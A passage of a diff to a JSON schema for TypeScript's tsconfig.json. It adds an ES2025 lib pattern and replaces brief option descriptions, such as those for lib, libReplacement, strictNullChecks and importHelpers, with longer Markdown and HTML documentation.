+                    "pattern": "^[Ee][Ss]2025(\\.([Cc][Oo][Ll][Ll][Ee][Cc][Tt][Ii][Oo][Nn]|[Ff][Ll][Oo][Aa][Tt]16|[Ii][Nn][Tt][Ll]|[Ii][Tt][Ee][Rr][Aa][Tt][Oo][Rr]|[Pp][Rr][Oo][Mm][Ii][Ss][Ee]|[Rr][Ee][Gg][Ee][Xx][Pp]))?$"
+                  },
                   {
                     "pattern": "^[Ee][Ss][Nn][Ee][Xx][Tt](\\.([Aa][Rr][Rr][Aa][Yy]|[Aa][Ss][Yy][Nn][Cc][Ii][Tt][Ee][Rr][Aa][Bb][Ll][Ee]|[Bb][Ii][Gg][Ii][Nn][Tt]|[Ii][Nn][Tt][Ll]|[Pp][Rr][Oo][Mm][Ii][Ss][Ee]|[Ss][Tt][Rr][Ii][Nn][Gg]|[Ss][Yy][Mm][Bb][Oo][Ll]|[Ww][Ee][Aa][Kk][Rr][Ee][Ff]|[Dd][Ee][Cc][Oo][Rr][Aa][Tt][Oo][Rr][Ss]|[Dd][Ii][Ss][Pp][Oo][Ss][Aa][Bb][Ll][Ee]))?$"
                   },
@@ -1054,202 +1096,210 @@
                   }
                 ]
               },
-              "markdownDescription": "Specify a set of bundled library declaration files that describe the target runtime environment.\n\nSee more: https://www.typescriptlang.org/tsconfig#lib"
+              "markdownDescription": "TypeScript includes a default set of type definitions for built-in JS APIs (like `Math`), as well as type definitions for things found in browser environments (like `document`).\nTypeScript also includes APIs for newer JS features matching the [`target`](https://typescriptlang.org/tsconfig/#target) you specify; for example the definition for `Map` is available if [`target`](https://typescriptlang.org/tsconfig/#target) is `ES6` or newer.\n\nYou may want to change these for a few reasons:\n\n- Your program doesn't run in a browser, so you don't want the `\"dom\"` type definitions\n- Your runtime platform provides certain JavaScript API objects (maybe through polyfills), but doesn't yet support the full syntax of a given ECMAScript version\n- You have polyfills or native implementations for some, but not all, of a higher level ECMAScript version\n\nIn TypeScript 4.5, lib files can be overridden by npm modules, find out more [in the blog](https://devblogs.microsoft.com/typescript/announcing-typescript-4-5-beta/#supporting-lib-from-node_modules).\n\n### High Level libraries\n\n| Name         | Contents                                                                                                                                          |\n| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `ES5`        | Core definitions for all ES5 functionality                                                                                                        |\n| `ES2015`     | Additional APIs available in ES2015 (also known as ES6) - `array.find`, `Promise`, `Proxy`, `Symbol`, `Map`, `Set`, `Reflect`, etc.               |\n| `ES6`        | Alias for \"ES2015\"                                                                                                                                |\n| `ES2016`     | Additional APIs available in ES2016 - `array.include`, etc.                                                                                       |\n| `ES7`        | Alias for \"ES2016\"                                                                                                                                |\n| `ES2017`     | Additional APIs available in ES2017 - `Object.entries`, `Object.values`, `Atomics`, `SharedArrayBuffer`, `date.formatToParts`, typed arrays, etc. |\n| `ES2018`     | Additional APIs available in ES2018 - `async` iterables, `promise.finally`, `Intl.PluralRules`, `regexp.groups`, etc.                             |\n| `ES2019`     | Additional APIs available in ES2019 - `array.flat`, `array.flatMap`, `Object.fromEntries`, `string.trimStart`, `string.trimEnd`, etc.             |\n| `ES2020`     | Additional APIs available in ES2020 - `string.matchAll`, etc.                                                                                     |\n| `ES2021`     | Additional APIs available in ES2021 - `promise.any`, `string.replaceAll` etc.                                                                     |\n| `ES2022`     | Additional APIs available in ES2022 - `array.at`, `RegExp.hasIndices`, etc.                                                                       |\n| `ES2023`     | Additional APIs available in ES2023 - `array.with`, `array.findLast`, `array.findLastIndex`, `array.toSorted`, `array.toReversed`, etc.           |\n| `ESNext`     | Additional APIs available in ESNext - This changes as the JavaScript specification evolves                                                        |\n| `DOM`        | [DOM](https://developer.mozilla.org/docs/Glossary/DOM) definitions - `window`, `document`, etc.                                                   |\n| `WebWorker`  | APIs available in [WebWorker](https://developer.mozilla.org/docs/Web/API/Web_Workers_API/Using_web_workers) contexts                              |\n| `ScriptHost` | APIs for the [Windows Script Hosting System](https://wikipedia.org/wiki/Windows_Script_Host)                                                      |\n\n### Individual library components\n\n| Name                      |\n| ------------------------- |\n| `DOM.Iterable`            |\n| `ES2015.Core`             |\n| `ES2015.Collection`       |\n| `ES2015.Generator`        |\n| `ES2015.Iterable`         |\n| `ES2015.Promise`          |\n| `ES2015.Proxy`            |\n| `ES2015.Reflect`          |\n| `ES2015.Symbol`           |\n| `ES2015.Symbol.WellKnown` |\n| `ES2016.Array.Include`    |\n| `ES2017.object`           |\n| `ES2017.Intl`             |\n| `ES2017.SharedMemory`     |\n| `ES2017.String`           |\n| `ES2017.TypedArrays`      |\n| `ES2018.Intl`             |\n| `ES2018.Promise`          |\n| `ES2018.RegExp`           |\n| `ES2019.Array`            |\n| `ES2019.Object`           |\n| `ES2019.String`           |\n| `ES2019.Symbol`           |\n| `ES2020.String`           |\n| `ES2020.Symbol.wellknown` |\n| `ES2021.Promise`          |\n| `ES2021.String`           |\n| `ES2021.WeakRef`          |\n| `ESNext.AsyncIterable`    |\n| `ESNext.Array`            |\n| `ESNext.Intl`             |\n| `ESNext.Symbol`           |\n\nThis list may be out of date, you can see the full list in the [TypeScript source code](https://github.com/microsoft/TypeScript/tree/main/src/lib).",
+              "x-intellij-html-description": "<p>TypeScript includes a default set of type definitions for built-in JS APIs (like <code>Math</code>), as well as type definitions for things found in browser environments (like <code>document</code>).\nTypeScript also includes APIs for newer JS features matching the <a href=\"https://typescriptlang.org/tsconfig/#target\"><code>target</code></a> you specify; for example the definition for <code>Map</code> is available if <a href=\"https://typescriptlang.org/tsconfig/#target\"><code>target</code></a> is <code>ES6</code> or newer.</p>\n<p>You may want to change these for a few reasons:</p>\n<ul>\n<li>Your program doesn&#39;t run in a browser, so you don&#39;t want the <code>&quot;dom&quot;</code> type definitions</li>\n<li>Your runtime platform provides certain JavaScript API objects (maybe through polyfills), but doesn&#39;t yet support the full syntax of a given ECMAScript version</li>\n<li>You have polyfills or native implementations for some, but not all, of a higher level ECMAScript version</li>\n</ul>\n<p>In TypeScript 4.5, lib files can be overridden by npm modules, find out more <a href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-4-5-beta/#supporting-lib-from-node_modules\">in the blog</a>.</p>\n<h3>High Level libraries</h3>\n<table>\n<thead>\n<tr>\n<th>Name</th>\n<th>Contents</th>\n</tr>\n</thead>\n<tbody><tr>\n<td><code>ES5</code></td>\n<td>Core definitions for all ES5 functionality</td>\n</tr>\n<tr>\n<td><code>ES2015</code></td>\n<td>Additional APIs available in ES2015 (also known as ES6) - <code>array.find</code>, <code>Promise</code>, <code>Proxy</code>, <code>Symbol</code>, <code>Map</code>, <code>Set</code>, <code>Reflect</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES6</code></td>\n<td>Alias for &quot;ES2015&quot;</td>\n</tr>\n<tr>\n<td><code>ES2016</code></td>\n<td>Additional APIs available in ES2016 - <code>array.include</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES7</code></td>\n<td>Alias for &quot;ES2016&quot;</td>\n</tr>\n<tr>\n<td><code>ES2017</code></td>\n<td>Additional APIs available in ES2017 - <code>Object.entries</code>, <code>Object.values</code>, <code>Atomics</code>, <code>SharedArrayBuffer</code>, <code>date.formatToParts</code>, typed arrays, etc.</td>\n</tr>\n<tr>\n<td><code>ES2018</code></td>\n<td>Additional APIs available in ES2018 - <code>async</code> iterables, <code>promise.finally</code>, <code>Intl.PluralRules</code>, <code>regexp.groups</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES2019</code></td>\n<td>Additional APIs available in ES2019 - <code>array.flat</code>, <code>array.flatMap</code>, <code>Object.fromEntries</code>, <code>string.trimStart</code>, <code>string.trimEnd</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES2020</code></td>\n<td>Additional APIs available in ES2020 - <code>string.matchAll</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES2021</code></td>\n<td>Additional APIs available in ES2021 - <code>promise.any</code>, <code>string.replaceAll</code> etc.</td>\n</tr>\n<tr>\n<td><code>ES2022</code></td>\n<td>Additional APIs available in ES2022 - <code>array.at</code>, <code>RegExp.hasIndices</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ES2023</code></td>\n<td>Additional APIs available in ES2023 - <code>array.with</code>, <code>array.findLast</code>, <code>array.findLastIndex</code>, <code>array.toSorted</code>, <code>array.toReversed</code>, etc.</td>\n</tr>\n<tr>\n<td><code>ESNext</code></td>\n<td>Additional APIs available in ESNext - This changes as the JavaScript specification evolves</td>\n</tr>\n<tr>\n<td><code>DOM</code></td>\n<td><a href=\"https://developer.mozilla.org/docs/Glossary/DOM\">DOM</a> definitions - <code>window</code>, <code>document</code>, etc.</td>\n</tr>\n<tr>\n<td><code>WebWorker</code></td>\n<td>APIs available in <a href=\"https://developer.mozilla.org/docs/Web/API/Web_Workers_API/Using_web_workers\">WebWorker</a> contexts</td>\n</tr>\n<tr>\n<td><code>ScriptHost</code></td>\n<td>APIs for the <a href=\"https://wikipedia.org/wiki/Windows_Script_Host\">Windows Script Hosting System</a></td>\n</tr>\n</tbody></table>\n<h3>Individual library components</h3>\n<table>\n<thead>\n<tr>\n<th>Name</th>\n</tr>\n</thead>\n<tbody><tr>\n<td><code>DOM.Iterable</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Core</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Collection</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Generator</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Iterable</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Promise</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Proxy</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Reflect</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Symbol</code></td>\n</tr>\n<tr>\n<td><code>ES2015.Symbol.WellKnown</code></td>\n</tr>\n<tr>\n<td><code>ES2016.Array.Include</code></td>\n</tr>\n<tr>\n<td><code>ES2017.object</code></td>\n</tr>\n<tr>\n<td><code>ES2017.Intl</code></td>\n</tr>\n<tr>\n<td><code>ES2017.SharedMemory</code></td>\n</tr>\n<tr>\n<td><code>ES2017.String</code></td>\n</tr>\n<tr>\n<td><code>ES2017.TypedArrays</code></td>\n</tr>\n<tr>\n<td><code>ES2018.Intl</code></td>\n</tr>\n<tr>\n<td><code>ES2018.Promise</code></td>\n</tr>\n<tr>\n<td><code>ES2018.RegExp</code></td>\n</tr>\n<tr>\n<td><code>ES2019.Array</code></td>\n</tr>\n<tr>\n<td><code>ES2019.Object</code></td>\n</tr>\n<tr>\n<td><code>ES2019.String</code></td>\n</tr>\n<tr>\n<td><code>ES2019.Symbol</code></td>\n</tr>\n<tr>\n<td><code>ES2020.String</code></td>\n</tr>\n<tr>\n<td><code>ES2020.Symbol.wellknown</code></td>\n</tr>\n<tr>\n<td><code>ES2021.Promise</code></td>\n</tr>\n<tr>\n<td><code>ES2021.String</code></td>\n</tr>\n<tr>\n<td><code>ES2021.WeakRef</code></td>\n</tr>\n<tr>\n<td><code>ESNext.AsyncIterable</code></td>\n</tr>\n<tr>\n<td><code>ESNext.Array</code></td>\n</tr>\n<tr>\n<td><code>ESNext.Intl</code></td>\n</tr>\n<tr>\n<td><code>ESNext.Symbol</code></td>\n</tr>\n</tbody></table>\n<p>This list may be out of date, you can see the full list in the <a href=\"https://github.com/microsoft/TypeScript/tree/main/src/lib\">TypeScript source code</a>.</p>\n"
+            },
+            "libReplacement": {
+              "description": "TypeScript 4.5 introduced the possibility of substituting the default `lib` files with custom ones.\nAll built-in library files would first try to be resolved from packages named `@typescript/lib-*`.\nFor example, you could lock your `dom` libraries onto a specific version of [the `@types/web` package](https://www.npmjs.com/package/@types/web?activeTab=readme) with the following `package.json`:\n\n```json\n{\n    \"devDependencies\": {\n       \"@typescript/lib-dom\": \"npm:@types/web@0.0.199\"\n     }\n}\n```\n\nWhen installed, a package called `@typescript/lib-dom` should exist, and TypeScript would always look there when searching for `lib.dom.d.ts`.\n\nThe `--libReplacement` flag allows you to disable this behavior.\nIf you're not using any `@typescript/lib-*` packages, you can now disable those package lookups with `--libReplacement false`.\nIn the future, `--libReplacement false` may become the default, so if you currently rely on the behavior you should consider explicitly enabling it with `--libReplacement true`.",
+              "type": ["boolean", "null"],
+              "default": true,
+              "markdownDescription": "TypeScript 4.5 introduced the possibility of substituting the default `lib` files with custom ones.\nAll built-in library files would first try to be resolved from packages named `@typescript/lib-*`.\nFor example, you could lock your `dom` libraries onto a specific version of [the `@types/web` package](https://www.npmjs.com/package/@types/web?activeTab=readme) with the following `package.json`:\n\n```json\n{\n    \"devDependencies\": {\n       \"@typescript/lib-dom\": \"npm:@types/web@0.0.199\"\n     }\n}\n```\n\nWhen installed, a package called `@typescript/lib-dom` should exist, and TypeScript would always look there when searching for `lib.dom.d.ts`.\n\nThe `--libReplacement` flag allows you to disable this behavior.\nIf you're not using any `@typescript/lib-*` packages, you can now disable those package lookups with `--libReplacement false`.\nIn the future, `--libReplacement false` may become the default, so if you currently rely on the behavior you should consider explicitly enabling it with `--libReplacement true`.",
+              "x-intellij-html-description": "<p>TypeScript 4.5 introduced the possibility of substituting the default <code>lib</code> files with custom ones.\nAll built-in library files would first try to be resolved from packages named <code>@typescript/lib-*</code>.\nFor example, you could lock your <code>dom</code> libraries onto a specific version of <a href=\"https://www.npmjs.com/package/@types/web?activeTab=readme\">the <code>@types/web</code> package</a> with the following <code>package.json</code>:</p>\n<pre><code class=\"language-json\">{\n    &quot;devDependencies&quot;: {\n       &quot;@typescript/lib-dom&quot;: &quot;npm:@types/web@0.0.199&quot;\n     }\n}\n</code></pre>\n<p>When installed, a package called <code>@typescript/lib-dom</code> should exist, and TypeScript would always look there when searching for <code>lib.dom.d.ts</code>.</p>\n<p>The <code>--libReplacement</code> flag allows you to disable this behavior.\nIf you&#39;re not using any <code>@typescript/lib-*</code> packages, you can now disable those package lookups with <code>--libReplacement false</code>.\nIn the future, <code>--libReplacement false</code> may become the default, so if you currently rely on the behavior you should consider explicitly enabling it with <code>--libReplacement true</code>.</p>\n"
             },
             "moduleDetection": {
-              "description": "Specify how TypeScript determine a file as module.",
+              "description": "This setting controls how TypeScript determines whether a file is a\n[script or a module](https://typescriptlang.org/docs/handbook/modules/theory.html#scripts-and-modules-in-javascript).\n\nThere are three choices:\n\n- `\"auto\"` (default) - TypeScript will not only look for import and export statements, but it will also check whether the `\"type\"` field in a `package.json` is set to `\"module\"` when running with [`module`](https://typescriptlang.org/tsconfig/#module): `nodenext` or `node16`, and check whether the current file is a JSX file when running under [`jsx`](https://typescriptlang.org/tsconfig/#jsx):  `react-jsx`.\n\n- `\"legacy\"` - The same behavior as 4.6 and prior, usings import and export statements to determine whether a file is a module.\n\n- `\"force\"` - Ensures that every non-declaration file is treated as a module.",
               "enum": ["auto", "legacy", "force"]
             },
             "strictNullChecks": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "When type checking, take into account `null` and `undefined`.",
+              "description": "When `strictNullChecks` is `false`, `null` and `undefined` are effectively ignored by the language.\nThis can lead to unexpected errors at runtime.\n\nWhen `strictNullChecks` is `true`, `null` and `undefined` have their own distinct types and you'll get a type error if you try to use them where a concrete value is expected.\n\nFor example with this TypeScript code, `users.find` has no guarantee that it will actually find a user, but you can\nwrite code as though it will:\n\n```ts twoslash\n// @strictNullChecks: false\n// @target: ES2015\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: \"Oby\", age: 12 },\n  { name: \"Heera\", age: 32 },\n];\n\nconst loggedInUser = users.find((u) => u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n```\n\nSetting `strictNullChecks` to `true` will raise an error that you have not made a guarantee that the `loggedInUser` exists before trying to use it.\n\n```ts twoslash\n// @errors: 2339 2532 18048\n// @target: ES2020\n// @strictNullChecks\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: \"Oby\", age: 12 },\n  { name: \"Heera\", age: 32 },\n];\n\nconst loggedInUser = users.find((u) => u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n```\n\nThe second example failed because the array's `find` function looks a bit like this simplification:\n\n```ts\n// When strictNullChecks: true\ntype Array = {\n  find(predicate: (value: any, index: number) => boolean): S | undefined;\n};\n\n// When strictNullChecks: false the undefined is removed from the type system,\n// allowing you to write code which assumes it always found a result\ntype Array = {\n  find(predicate: (value: any, index: number) => boolean): S;\n};\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "When type checking, take into account `null` and `undefined`.\n\nSee more: https://www.typescriptlang.org/tsconfig#strictNullChecks"
+              "markdownDescription": "When `strictNullChecks` is `false`, `null` and `undefined` are effectively ignored by the language.\nThis can lead to unexpected errors at runtime.\n\nWhen `strictNullChecks` is `true`, `null` and `undefined` have their own distinct types and you'll get a type error if you try to use them where a concrete value is expected.\n\nFor example with this TypeScript code, `users.find` has no guarantee that it will actually find a user, but you can\nwrite code as though it will:\n\n```ts twoslash\n// @strictNullChecks: false\n// @target: ES2015\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: \"Oby\", age: 12 },\n  { name: \"Heera\", age: 32 },\n];\n\nconst loggedInUser = users.find((u) => u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n```\n\nSetting `strictNullChecks` to `true` will raise an error that you have not made a guarantee that the `loggedInUser` exists before trying to use it.\n\n```ts twoslash\n// @errors: 2339 2532 18048\n// @target: ES2020\n// @strictNullChecks\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: \"Oby\", age: 12 },\n  { name: \"Heera\", age: 32 },\n];\n\nconst loggedInUser = users.find((u) => u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n```\n\nThe second example failed because the array's `find` function looks a bit like this simplification:\n\n```ts\n// When strictNullChecks: true\ntype Array = {\n  find(predicate: (value: any, index: number) => boolean): S | undefined;\n};\n\n// When strictNullChecks: false the undefined is removed from the type system,\n// allowing you to write code which assumes it always found a result\ntype Array = {\n  find(predicate: (value: any, index: number) => boolean): S;\n};\n```",
+              "x-intellij-html-description": "<p>When <code>strictNullChecks</code> is <code>false</code>, <code>null</code> and <code>undefined</code> are effectively ignored by the language.\nThis can lead to unexpected errors at runtime.</p>\n<p>When <code>strictNullChecks</code> is <code>true</code>, <code>null</code> and <code>undefined</code> have their own distinct types and you&#39;ll get a type error if you try to use them where a concrete value is expected.</p>\n<p>For example with this TypeScript code, <code>users.find</code> has no guarantee that it will actually find a user, but you can\nwrite code as though it will:</p>\n<pre><code class=\"language-ts\">// @strictNullChecks: false\n// @target: ES2015\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: &quot;Oby&quot;, age: 12 },\n  { name: &quot;Heera&quot;, age: 32 },\n];\n\nconst loggedInUser = users.find((u) =&gt; u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n</code></pre>\n<p>Setting <code>strictNullChecks</code> to <code>true</code> will raise an error that you have not made a guarantee that the <code>loggedInUser</code> exists before trying to use it.</p>\n<pre><code class=\"language-ts\">// @errors: 2339 2532 18048\n// @target: ES2020\n// @strictNullChecks\ndeclare const loggedInUsername: string;\n\nconst users = [\n  { name: &quot;Oby&quot;, age: 12 },\n  { name: &quot;Heera&quot;, age: 32 },\n];\n\nconst loggedInUser = users.find((u) =&gt; u.name === loggedInUsername);\nconsole.log(loggedInUser.age);\n</code></pre>\n<p>The second example failed because the array&#39;s <code>find</code> function looks a bit like this simplification:</p>\n<pre><code class=\"language-ts\">// When strictNullChecks: true\ntype Array = {\n  find(predicate: (value: any, index: number) =&gt; boolean): S | undefined;\n};\n\n// When strictNullChecks: false the undefined is removed from the type system,\n// allowing you to write code which assumes it always found a result\ntype Array = {\n  find(predicate: (value: any, index: number) =&gt; boolean): S;\n};\n</code></pre>\n"
             },
             "maxNodeModuleJsDepth": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the maximum folder depth used for checking JavaScript files from `node_modules`. Only applicable with `allowJs`.",
+              "description": "The maximum dependency depth to search under `node_modules` and load JavaScript files.\n\nThis flag can only be used when [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs) is enabled, and is used if you want to have TypeScript infer types for all of the JavaScript inside your `node_modules`.\n\nIdeally this should stay at 0 (the default), and `d.ts` files should be used to explicitly define the shape of modules.\nHowever, there are cases where you may want to turn this on at the expense of speed and potential accuracy.",
               "type": ["number", "null"],
               "default": 0,
-              "markdownDescription": "Specify the maximum folder depth used for checking JavaScript files from `node_modules`. Only applicable with `allowJs`.\n\nSee more: https://www.typescriptlang.org/tsconfig#maxNodeModuleJsDepth"
+              "markdownDescription": "The maximum dependency depth to search under `node_modules` and load JavaScript files.\n\nThis flag can only be used when [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs) is enabled, and is used if you want to have TypeScript infer types for all of the JavaScript inside your `node_modules`.\n\nIdeally this should stay at 0 (the default), and `d.ts` files should be used to explicitly define the shape of modules.\nHowever, there are cases where you may want to turn this on at the expense of speed and potential accuracy.",
+              "x-intellij-html-description": "<p>The maximum dependency depth to search under <code>node_modules</code> and load JavaScript files.</p>\n<p>This flag can only be used when <a href=\"https://typescriptlang.org/tsconfig/#allowJs\"><code>allowJs</code></a> is enabled, and is used if you want to have TypeScript infer types for all of the JavaScript inside your <code>node_modules</code>.</p>\n<p>Ideally this should stay at 0 (the default), and <code>d.ts</code> files should be used to explicitly define the shape of modules.\nHowever, there are cases where you may want to turn this on at the expense of speed and potential accuracy.</p>\n"
             },
             "importHelpers": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow importing helper functions from tslib once per project, instead of including them per-file.",
+              "description": "For certain downleveling operations, TypeScript uses some helper code for operations like extending class, spreading arrays or objects, and async operations.\nBy default, these helpers are inserted into files which use them.\nThis can result in code duplication if the same helper is used in many different modules.\n\nIf the `importHelpers` flag is on, these helper functions are instead imported from the [tslib](https://www.npmjs.com/package/tslib) module.\nYou will need to ensure that the `tslib` module is able to be imported at runtime.\nThis only affects modules; global script files will not attempt to import modules.\n\nFor example, with this TypeScript:\n\n```ts\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nTurning on [`downlevelIteration`](https://typescriptlang.org/tsconfig/#downlevelIteration) and `importHelpers` is still false:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @downleveliteration\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nThen turning on both [`downlevelIteration`](https://typescriptlang.org/tsconfig/#downlevelIteration) and `importHelpers`:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @downleveliteration\n// @importhelpers\n// @noErrors\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nYou can use [`noEmitHelpers`](https://typescriptlang.org/tsconfig/#noEmitHelpers) when you provide your own implementations of these functions.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Allow importing helper functions from tslib once per project, instead of including them per-file.\n\nSee more: https://www.typescriptlang.org/tsconfig#importHelpers"
+              "markdownDescription": "For certain downleveling operations, TypeScript uses some helper code for operations like extending class, spreading arrays or objects, and async operations.\nBy default, these helpers are inserted into files which use them.\nThis can result in code duplication if the same helper is used in many different modules.\n\nIf the `importHelpers` flag is on, these helper functions are instead imported from the [tslib](https://www.npmjs.com/package/tslib) module.\nYou will need to ensure that the `tslib` module is able to be imported at runtime.\nThis only affects modules; global script files will not attempt to import modules.\n\nFor example, with this TypeScript:\n\n```ts\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nTurning on [`downlevelIteration`](https://typescriptlang.org/tsconfig/#downlevelIteration) and `importHelpers` is still false:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @downleveliteration\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nThen turning on both [`downlevelIteration`](https://typescriptlang.org/tsconfig/#downlevelIteration) and `importHelpers`:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @downleveliteration\n// @importhelpers\n// @noErrors\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n```\n\nYou can use [`noEmitHelpers`](https://typescriptlang.org/tsconfig/#noEmitHelpers) when you provide your own implementations of these functions.",
+              "x-intellij-html-description": "<p>For certain downleveling operations, TypeScript uses some helper code for operations like extending class, spreading arrays or objects, and async operations.\nBy default, these helpers are inserted into files which use them.\nThis can result in code duplication if the same helper is used in many different modules.</p>\n<p>If the <code>importHelpers</code> flag is on, these helper functions are instead imported from the <a href=\"https://www.npmjs.com/package/tslib\">tslib</a> module.\nYou will need to ensure that the <code>tslib</code> module is able to be imported at runtime.\nThis only affects modules; global script files will not attempt to import modules.</p>\n<p>For example, with this TypeScript:</p>\n<pre><code class=\"language-ts\">export function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n</code></pre>\n<p>Turning on <a href=\"https://typescriptlang.org/tsconfig/#downlevelIteration\"><code>downlevelIteration</code></a> and <code>importHelpers</code> is still false:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @target: ES5\n// @downleveliteration\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n</code></pre>\n<p>Then turning on both <a href=\"https://typescriptlang.org/tsconfig/#downlevelIteration\"><code>downlevelIteration</code></a> and <code>importHelpers</code>:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @target: ES5\n// @downleveliteration\n// @importhelpers\n// @noErrors\nexport function fn(arr: number[]) {\n  const arr2 = [1, ...arr];\n}\n</code></pre>\n<p>You can use <a href=\"https://typescriptlang.org/tsconfig/#noEmitHelpers\"><code>noEmitHelpers</code></a> when you provide your own implementations of these functions.</p>\n"
             },
             "importsNotUsedAsValues": {
-              "description": "Specify emit/checking behavior for imports that are only used for types.",
+              "description": "Deprecated in favor of [`verbatimModuleSyntax`](https://typescriptlang.org/tsconfig/#verbatimModuleSyntax).\n\nThis flag controls how `import` works, there are 3 different options:\n\n- `remove`: The default behavior of dropping `import` statements which only reference types.\n\n- `preserve`: Preserves all `import` statements whose values or types are never used. This can cause imports/side-effects to be preserved.\n\n- `error`: This preserves all imports (the same as the preserve option), but will error when a value import is only used as a type. This might be useful if you want to ensure no values are being accidentally imported, but still make side-effect imports explicit.\n\nThis flag works because you can use `import type` to explicitly create an `import` statement which should never be emitted into JavaScript.",
               "default": "remove",
               "enum": ["remove", "preserve", "error"]
             },
             "alwaysStrict": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Ensure 'use strict' is always emitted.",
+              "description": "Ensures that your files are parsed in the ECMAScript strict mode, and emit \"use strict\" for each source file.\n\n[ECMAScript strict](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Strict_mode) mode was introduced in ES5 and provides behavior tweaks to the runtime of the JavaScript engine to improve performance, and makes a set of errors throw instead of silently ignoring them.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Ensure 'use strict' is always emitted.\n\nSee more: https://www.typescriptlang.org/tsconfig#alwaysStrict"
+              "markdownDescription": "Ensures that your files are parsed in the ECMAScript strict mode, and emit \"use strict\" for each source file.\n\n[ECMAScript strict](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Strict_mode) mode was introduced in ES5 and provides behavior tweaks to the runtime of the JavaScript engine to improve performance, and makes a set of errors throw instead of silently ignoring them.",
+              "x-intellij-html-description": "<p>Ensures that your files are parsed in the ECMAScript strict mode, and emit &quot;use strict&quot; for each source file.</p>\n<p><a href=\"https://developer.mozilla.org/docs/Web/JavaScript/Reference/Strict_mode\">ECMAScript strict</a> mode was introduced in ES5 and provides behavior tweaks to the runtime of the JavaScript engine to improve performance, and makes a set of errors throw instead of silently ignoring them.</p>\n"
             },
             "strict": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable all strict type checking options.",
+              "description": "The `strict` flag enables a wide range of type checking behavior that results in stronger guarantees of program correctness.\nTurning this on is equivalent to enabling all of the _strict mode family_ options, which are outlined below.\nYou can then turn off individual strict mode family checks as needed.\n\nFuture versions of TypeScript may introduce additional stricter checking under this flag, so upgrades of TypeScript might result in new type errors in your program.\nWhen appropriate and possible, a corresponding flag will be added to disable that behavior.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable all strict type checking options.\n\nSee more: https://www.typescriptlang.org/tsconfig#strict"
+              "markdownDescription": "The `strict` flag enables a wide range of type checking behavior that results in stronger guarantees of program correctness.\nTurning this on is equivalent to enabling all of the _strict mode family_ options, which are outlined below.\nYou can then turn off individual strict mode family checks as needed.\n\nFuture versions of TypeScript may introduce additional stricter checking under this flag, so upgrades of TypeScript might result in new type errors in your program.\nWhen appropriate and possible, a corresponding flag will be added to disable that behavior.",
+              "x-intellij-html-description": "<p>The <code>strict</code> flag enables a wide range of type checking behavior that results in stronger guarantees of program correctness.\nTurning this on is equivalent to enabling all of the <em>strict mode family</em> options, which are outlined below.\nYou can then turn off individual strict mode family checks as needed.</p>\n<p>Future versions of TypeScript may introduce additional stricter checking under this flag, so upgrades of TypeScript might result in new type errors in your program.\nWhen appropriate and possible, a corresponding flag will be added to disable that behavior.</p>\n"
             },
             "strictBindCallApply": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Check that the arguments for `bind`, `call`, and `apply` methods match the original function.",
